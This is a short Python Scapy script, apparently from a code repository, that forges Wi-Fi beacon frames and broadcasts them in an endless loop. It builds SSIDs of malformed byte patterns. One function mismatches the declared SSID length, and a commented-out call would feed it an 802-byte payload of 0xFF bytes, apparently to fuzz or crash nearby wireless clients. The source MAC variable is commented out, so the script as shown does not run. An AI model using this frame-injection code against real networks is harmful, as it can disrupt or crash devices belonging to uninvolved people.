Files
ASS/scapy/wifi-beacon-scapy2.py
T
2026-05-26 21:24:00 -06:00

26 lines
912 B
Python
Executable File

from scapy.all import *
iface = 'wlan1'
# sender = 'ac:cb:12:ad:58:27'
def beacon_raw(SSID, length=255):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=0.250, loop=1)
# sendp(frame, iface=iface, inter=0.100, count=256)
def beacon_normie(SSID):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=0.250, loop=1)
# sendp(frame, iface=iface, inter=0.100, count=256)
longgg = "\xFF"*800
longggg = f"\x00{longgg}\x00"
#beacon_raw(longggg)
beacon_normie(b"\xFF\x00\xFF\x00\xFF\x00\xFF\x00\xFF\x00")